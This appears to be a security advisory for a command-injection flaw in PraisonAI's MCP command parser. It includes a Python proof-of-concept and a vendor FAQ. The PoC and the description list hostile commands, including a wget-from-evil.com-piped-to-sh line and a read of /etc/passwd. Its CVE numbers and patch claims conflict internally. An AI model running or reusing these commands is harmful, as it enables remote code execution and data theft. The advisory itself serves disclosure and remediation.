CVE-2026-41497

The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution.

Affected Package

• Ecosystem: PyPI
• Package: MervinPraison/PraisonAI
• Affected versions: < 47bff65413be
• Patched versions: >= 47bff65413be

Details

The vulnerability exists in src/praisonai/praisonai/cli/features/mcp.py in the MCPHandler.parse_mcp_command() method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.

The fix commit 47bff654 was intended to address command injection, but the patched parse_mcp_command() still lacks three critical controls: there is no ALLOWED_COMMANDS allowlist of permitted executables (e.g., npx, uvx, node, python), there is no os.path.basename() validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.

Malicious MCP server commands such as python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd', and /bin/sh -c 'wget http://evil.com/shell.sh | sh' are all accepted by parse_mcp_command() and passed directly to subprocess execution without filtering.

PoC

#!/usr/bin/env python3
"""
CVE-2026-34935 - PraisonAI command injection via parse_mcp_command()

Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).
The pre-patch parse_mcp_command() performs NO validation on the executable or
arguments, allowing arbitrary command execution via MCP server commands.

Repo: https://github.com/MervinPraison/PraisonAI
Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c
"""

import sys
import os
import importlib.util

# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit
MCP_PATH = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py"

def load_mcp_handler():
    """Load the real MCPHandler class from the vulnerable source."""
    base_path = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py"

    spec_base = importlib.util.spec_from_file_location("features_base", base_path)
    mod_base = importlib.util.module_from_spec(spec_base)
    sys.modules["features_base"] = mod_base

    with open(MCP_PATH) as f:
        source = f.read()

    source = source.replace("from .base import FlagHandler", """
class FlagHandler:
    def print_status(self, msg, level="info"):
        print(f"[{level}] {msg}")
""")

    ns = {"__name__": "mcp_module", "__file__": MCP_PATH}
    exec(compile(source, MCP_PATH, "exec"), ns)
    return ns["MCPHandler"]


def main():
    MCPHandler = load_mcp_handler()
    handler = MCPHandler()

    print(f"Source file: {MCP_PATH}")
    print(f"Loaded MCPHandler from real PraisonAI source")
    print()

    malicious_commands = [
        "python -c 'import os; os.system(\"id\")'",
        "node -e 'require(\"child_process\").execSync(\"whoami\")'",
        "bash -c 'cat /etc/passwd'",
        "/bin/sh -c 'wget http://evil.com/shell.sh | sh'",
    ]

    print("Testing parse_mcp_command with malicious inputs:")
    print()

    all_accepted = True
    for cmd_str in malicious_commands:
        try:
            cmd, args, env = handler.parse_mcp_command(cmd_str)
            print(f"  Input:   {cmd_str}")
            print(f"  Command: {cmd}")
            print(f"  Args:    {args}")
            print(f"  Result:  ACCEPTED (no validation)")
            print()
        except Exception as e:
            print(f"  Input:   {cmd_str}")
            print(f"  Result:  REJECTED ({e})")
            all_accepted = False
            print()

    if all_accepted:
        print("ALL malicious commands accepted without validation!")
        print()

        with open(MCP_PATH) as f:
            source = f.read()

        has_allowlist = "ALLOWED_COMMANDS" in source or "allowlist" in source.lower()
        has_basename_check = "os.path.basename" in source
        has_validation = has_allowlist or has_basename_check

        print(f"Has command allowlist: {has_allowlist}")
        print(f"Has basename check: {has_basename_check}")
        print(f"Has any command validation: {has_validation}")
        print()

        if not has_validation:
            print("COMMAND INJECTION: parse_mcp_command() has NO command validation!")
            print("  - No allowlist of permitted executables")
            print("  - No argument inspection")
            print("  - Arbitrary commands passed directly to subprocess execution")
            print()
            print("VULNERABILITY CONFIRMED")
            sys.exit(0)

    print("Some commands were rejected - validation present")
    sys.exit(1)


if __name__ == "__main__":
    main()

Steps to reproduce:

1. git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real
2. cd /tmp/praisonai_real && git checkout 47bff654~1
3. python3 poc.py

Expected output:

VULNERABILITY CONFIRMED
parse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist.

Suggested Remediation

Implement a strict allowlist of permitted executables (e.g., npx, uvx, node, python) in parse_mcp_command(). Validate commands against os.path.basename() to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., -c, -e flags enabling inline code execution).

An attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement.

Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.

CVE-2026-41497 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.149); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-41497? CVE-2026-41497 is a critical-severity command injection vulnerability in praisonai (pip), affecting versions <= 4.5.148. It is fixed in 4.5.149. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
2. How severe is CVE-2026-41497? CVE-2026-41497 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of praisonai are affected by CVE-2026-41497? praisonai (pip) versions <= 4.5.148 is affected.
4. Is there a fix for CVE-2026-41497? Yes. CVE-2026-41497 is fixed in 4.5.149. Upgrade to this version or later.
5. Is CVE-2026-41497 exploitable, and should I be worried? Whether CVE-2026-41497 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41497 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41497? Upgrade praisonai to 4.5.149 or later.